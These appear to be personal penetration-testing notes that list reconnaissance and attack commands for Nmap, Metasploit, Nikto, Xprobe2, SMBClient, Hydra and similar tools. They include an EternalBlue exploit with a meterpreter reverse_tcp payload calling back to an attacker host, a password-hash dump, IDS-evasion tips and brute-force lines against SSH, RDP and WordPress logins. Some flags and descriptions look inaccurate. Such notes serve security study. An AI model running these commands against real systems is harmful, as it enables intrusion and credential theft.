Network Scanning

1. **Nmap**

Detecting open ports, identifying services, their versions, and operating systems, and can be extended with scripts to check for vulnerabilities or specific issues

* Host Discovery
  + nmap -sn <ipAddress>
  + discover live hosts on the network. Attackers can target those up and running devices for explitation.
* Port Scanning
  + nmap <ipAddress>
  + nmap -sU -p 80 <ipAddress>
  + open ports, running services
* Service Version Detection
  + nmap -sV <ipAddress>
  + identify the exact version of a service running on an open port
  + cross-reference service versions with known vulnerabilities
* OS Detection
  + nmap -O <ipAddress>
  + Certain OSes have specific vulnerabilities, and knowing the OS can inform attackers about possible attack strategies
* Aggressive Scan
  + nmap -A <ipAddress>
  + It provides in-depth information about the target system, including running services, operating system, and potential vulnerabilities
* Nmap Scription Engine (NSE) Scanning
  + nmap --script=<script\_name> <ipAddress>
  + find many useful script names which can be used
  + Scripts can check for specific security issues like Heartbleed, SMB vulnerabilities, or weak SSH configurations
* TCP connect scan
  + nmap -sT <ipAddress>
  + attempts a full TCP handshake to identify open ports
* SYN scan
  + nmap -sS <ipAddress>
  + A SYN scan is considered stealthier because it doesn't complete the TCP handshake, making it harder to detect. It is faster and less likely to trigger alarms compared to a full connect scan
* Traceroute
  + nmap –traceroute <ipAddress>
  + shows the path that network traffic takes to reach the target helps understand network architecture
* DNS Interrogation
  + nmap -p 53 --script=dns-brute <ipAddress>
  + Scanning DNS servers or performing brute force DNS queries can uncover subdomains or misconfigurations that attackers can exploit

1. **OpenVAS**

vulnerability scanner finding vulnerabilities in systems, services, and networks

I do not think this tool is open source that I had to make payment for this tool.

1. **Metasploit Framework**

exploitation tool but also has scanning capabilities. Metasploit can scan for vulnerabilities, launch attacks, and perform post-exploitation tasks.

* Information Gathering
  + Command
    - use auxiliary/scanner/portscan/tcp
    - set RHOSTS <target\_IP>
    - run
  + open ports, OS details, and version information
* Exploit Modules (Remote Code Execution)
  + Command
    - use exploit/windows/smb/ms17\_010\_eternalblue
    - set RHOSTS <target\_IP>
    - set RPORT 445
    - run
  + Successful exploitation may allow remote code execution, privilege escalation, or the installation of backdoors
* Payloads
  + Command
    - use exploit/windows/smb/ms17\_010\_eternalblue
    - set PAYLOAD windows/x64/meterpreter/reverse\_tcp
    - set LHOST <attacker\_IP>
    - set LPORT 4444
    - run
  + Once a vulnerability is exploited, Metasploit allows the attacker to upload and execute a payload, which establishes a session for post-exploitation activities. Common payloads include reverse shells, Meterpreter sessions, and staged payloads
* Post-Exploitation (Privilege Escalation, Data Harvesting)
  + Command
    - use post/windows/gather/hashdump
    - set SESSION <session\_id>
    - run
  + Post-exploitation modules allow attackers to gather sensitive data, escalate privileges, or pivot to other systems within the network
* Brute Force Attacks
  + Command
    - use auxiliary/scanner/ssh/ssh\_login
    - set RHOSTS <target\_IP>
    - set USERNAME root
    - set PASSWORD <password\_list>
    - run
* Vulnerability scanning and reporting
  + Command
    - use auxiliary/scanner/ftp/ftp\_version
    - set RHOSTS <target\_IP>
    - run
* Pivoting and Lateral Movement (Network Exploitation)
  + use post/windows/manage/arp\_poisoning
  + set SESSION <session\_id>
  + run

1. **Wireshark**

Service Enumeration

1. **Masscan**

It is fast port scanner capable of scanning a large number of IPs in a short amount of time. But it is ideal for large-scale service enumeration. Nmap is better tool than Masscan.

1. **Nikto**

open-source web server scanner designed to detect vulnerabilities in web servers and web applications

* Basic Web Server Information
  + nikto -h <domain>
  + software version, server type (e.g., Apache, Nginx, IIS), and other metadata
* Directory and File Enumeration
  + nikto -h <domain> -Tuning 2
  + scan for hidden directories, files, and paths that are not publicly advertised but may still be accessible on the server. It does this by testing common file and directory names (e.g., /admin, /backup, /test)
* CGI Scripts and Security Issues
  + nikto -h <domain> -Plugins cgi
  + scans for common vulnerabilities in CGI scripts (Common Gateway Interface) used in web servers
* HTTP Methods (GET, POST, PUT, DELETE)
  + nikto -h <domain> -Tuning 3
  + checks which HTTP methods are enabled on the web server (e.g., GET, POST, PUT, DELETE, OPTIONS).
* SSL/TLS Configuration Weaknesses
  + nikto -h <domain> -ssl
  + scan the SSL/TLS configuration of a web server to check for insecure protocols (e.g., SSLv2, SSLv3) or weak ciphers
* Security Headers
  + nikto -h <domain> -Tuning 9
  + checks whether the web server uses security headers such as X-Content-Type-Options, X-Frame-Options, Strict-Transport-Security, and Content-Security-Policy
* Vulnerabilities and Known Exploits
  + nikto -h <domain> -Plugins vuln
  + scans for known vulnerabilities in the web server, web applications, and services
* HTTP Security Misconfigurations (Default Files, Server Banner)
  + nikto -h <domain> -Display V
  + Nikto checks for default files, default configurations, and server banners that may have been left exposed
* Cross-Site Scripting (XSS) and Injection Flaws
  + nikto -h <domain> -Plugins xss
  + scans for common web vulnerabilities, such as Cross-Site Scripting (XSS) and SQL injection flaws

1. **Service Scan**

It is part of Metaploit Framework tool. I planned to use this during exploitation stage.

OS Fingerprinting

1. **Nmap**

Nmap can also scan for OS Fingerprinting.

Nmap -O <ipAddress>

1. **Xprobe2**

network scanner focused on OS fingerprinting

* OS Fingerprinting
  + xprobe2 -v <ipAddress>
* Remote OS Detection Without Need for Service Ports
  + xprobe2 -v -p <ipAddress>
  + to fingerprint an operating system without scanning open ports can help avoid detection by intrusion detection/prevention systems (IDS/IPS) and firewalls
* Advanced OS Fingerprinting Techniques
  + Xprobe2 uses several advanced techniques to identify operating systems, such as ICMP fingerprinting and TCP/IP stack analysis
  + xprobe2 -v -c <ipAddress>
* Detection of Specific OS Variants and Versions
  + xprobe2 -v <ipAddress>
* Avoiding Detection by IDS/IPS
  + xprobe2 -v -s <ipAddress>
* Multithreaded Scanning for Faster Results
  + xprobe2 -v -t <ipAddress>
  + speeds up the process of detecting and profiling remote systems
* Detection of Proxies or Filtering Devices
  + xprobe2 -v -T <ipAddress>
  + detect the presence of proxies, firewalls, or network filtering devices that modify or obscure the traffic between the scanner and the target system

1. **P0f (Passive OS Fingerprinting)**

p0f is a passive OS fingerprinting tool, meaning it does not require actively sending probes to the target system. It works by analyzing network traffic (such as SYN packets) already passing through the network. This makes it ideal for passive OS discovery without alerting the target.

1. **OSScan (Metasploit Framework)**

Again, this will be used for exploitation, not for scanning

User and Group Enumeration

1. **Nmap**

it also provides scripts for user and group enumeration on remote services like SMB (Windows) or SSH (Linux/Unix)

Command : nmap --script smb-enum-users <ipAddress>

nmap --script smb-enum-shares <ipAddress>

nmap --script smb-os-fingerprint <ipAddress>

1. **SMBClient**

command-line tool that allows you to interact with shared folders on Windows or Samba servers, and can be used to enumerate users, groups, and other SMB-specific information

* Enumerating Shared Resources
  + smbclient -L //<ipAddress> -U <username>
  + list the available SMB shares on a target system
* Accessing Shared Directories and Files
  + smbclient //<ipAddress>/<share\_name> -U <username>
  + Once shared resources are identified, SMBClient allows for interaction with the shared directories and files. This could include viewing, copying, or modifying files on the remote system.
* Listing and Manipulating SMB Shares
  + smbclient //<ipAddress>/<share\_name> -U <username> -c "ls"
  + allows the listing of files within a share and interacting with these files (e.g., downloading, uploading, renaming, or deleting files)
* Password Guessing or Cracking on SMB Shares
  + smbclient //<ipAddress>/<share\_name> -U <username>%<password>
  + SMBClient can attempt to authenticate against SMB shares using a supplied username and password, or by performing brute-force password guessing
* SMB Version Detection and Vulnerability Checking
  + smbclient //<ipAddress>/<share\_name> -U <username> -v
* Upload/Download Files to/from SMB Shares
  + smbclient //<ipAddress>/<share\_name> -U <username> -c "get <remote\_file> <local\_file>"
  + allows upload and download files to and from SMB shares

1. **Enum4linux**

tool designed specifically for enumerating Windows (SMB) shares, users, and groups. It's used to gather detailed user, group, and share information from a remote Windows machine, using SMB protocols.

Command : enum4linux -a <ipAddress>

Vulnerability Scanning

1. **Nessus**

Home version is available for free

Nessus can identify vulnerabilities across a broad range of platforms, applications, and services, making it one of the most popular vulnerability scanners in the industry.

1. **Nikto (same as above)**

Application Fingerprinting (Web Applications)

**WhatWeb**

works by analyzing HTTP headers, cookies, HTML source, and other server responses to identify the technologies and software in use

* Identifying Web Server and Technologies
  + whatweb <domain>
  + performs detailed fingerprinting of the technologies used by a web application, including the underlying web server, operating system, database, and other technologies
* Detecting Content Management Systems (CMS)
  + whatweb -v <domain>
  + identify popular Content Management Systems (CMSs), such as WordPress, Joomla, Drupal, and Magento, as well as e-commerce platforms or custom web applications
* Framework Detection
  + whatweb –frameworks <domain>
  + detects popular web application frameworks such as Laravel, Ruby on Rails, Django, AngularJS, React, and others
* Identifying Web Application Technologies (JavaScript Libraries, Plugins)
  + whatweb -v <domain>
  + identify JavaScript libraries, plugins, and other frontend technologies (e.g., jQuery, Bootstrap, Vue.js, etc.)
* Identifying HTTP Headers
  + whatweb -v -U <domain>
  + analyze HTTP headers to gather more information about the server and the web application
* Identifying Version Information
  + whatweb -v –version <domain>
  + extract version numbers of various web components (e.g., the version of Apache, PHP, or WordPress)
* Detecting Web Application Security Headers
  + whatweb --security-headers <domain>
  + check for the presence or absence of important security headers in the HTTP responses, such as Strict-Transport-Security (HSTS), X-Content-Type-Options, X-Frame-Options, etc.

Default credential checking

**Hydra**

brute-forcing tool that supports a wide range of protocols and testing weak passwords, including default credentials, across services such as SSH, HTTP, FTP, SMB, RDP, and more.

* Default Credential Checking for Services (SSH, FTP, HTTP, etc.)
  + hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<domain>
  + attempt to log into various services like SSH, FTP, HTTP, and more, using a list of common usernames and passwords
* Brute Force Attacks on HTTP-based Login Forms
  + hydra -l admin -P /usr/share/wordlists/rockyou.txt < domain> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=incorrect"
  + By using lists of common usernames and passwords, Hydra can try to brute-force login attempts on web applications and CMS platforms
* Default Credential Checking on FTP Servers
  + hydra -L usernames.txt -P passwords.txt ftp://<domain>
  + automate the brute-force process of testing default FTP credentials
* Testing Remote Desktop Protocol (RDP) for Default Credentials
  + hydra -L usernames.txt -P passwords.txt rdp://<domain>
  + brute-force **default or weak RDP credentials** to gain unauthorized access to remote systems.
* Credential Reuse Across Services
  + hydra -L usernames.txt -P passwords.txt <domain> ssh ftp http
  + test default credentials across multiple services, such as SSH, FTP, RDP, and HTTP
* Brute Force Against Web Applications Using HTTP Basic Authentication
  + hydra -l admin -P /usr/share/wordlists/rockyou.txt <domain> http-basic
  + perform brute-force attacks against HTTP Basic Authentication login forms, often used for accessing web services or admin panels
* Credential Complexity Testing for Weak Passwords
  + hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<domain>
  + test for weak passwords by attempting all combinations from a wordlist of common passwords

Source code review

**SonarQube**

tools for performing static code analysis. It supports multiple programming languages and provides comprehensive reports on code quality, security vulnerabilities, and best practices.

Some Features :

*Identifying Code Vulnerabilities*

SonarQube scans the source code to detect vulnerabilities like SQL Injection, Cross-Site Scripting (XSS), and Buffer Overflows, which can be exploited by attackers if left unchecked.

*Detecting Hardcoded Credentials*

SonarQube identifies hardcoded API keys, passwords, or secret tokens in the code, reducing the risk of exposing sensitive information.

*Code Smells and Poor Code Quality*

The tool detects code smells—patterns that indicate poor readability, complex code, or inefficient algorithms, which can increase security risks and make the code harder to maintain.

*Compliance with Security Standards and Guidelines*

SonarQube checks for compliance with security standards like the OWASP Top 10, PCI DSS, and ISO/IEC 27001, ensuring the application follows industry best practices for security and compliance.

*Identifying Deprecated or Vulnerable Dependencies*

SonarQube scans dependencies and flags outdated, deprecated, or vulnerable libraries, recommending updates or alternative libraries for better security.

*Secure Coding Practices*

The tool provides checks to ensure secure coding practices, such as proper input validation, data handling, and error handling, which reduce security risks.

*Security Hotspot Identification*

SonarQube identifies security hotspots—areas that require extra attention, even if they aren’t outright vulnerabilities, helping developers carefully review potential security risks.

*Automated Reports and Dashboards*

SonarQube generates detailed security reports and dashboards that track vulnerabilities, code smells, and other issues, helping teams prioritize fixes and maintain consistent security.

*SonarQube Integration with Other Tools*

SonarQube integrates with other security tools like OWASP ZAP, Burp Suite, or Checkmarx, providing a comprehensive security testing solution to enhance code security.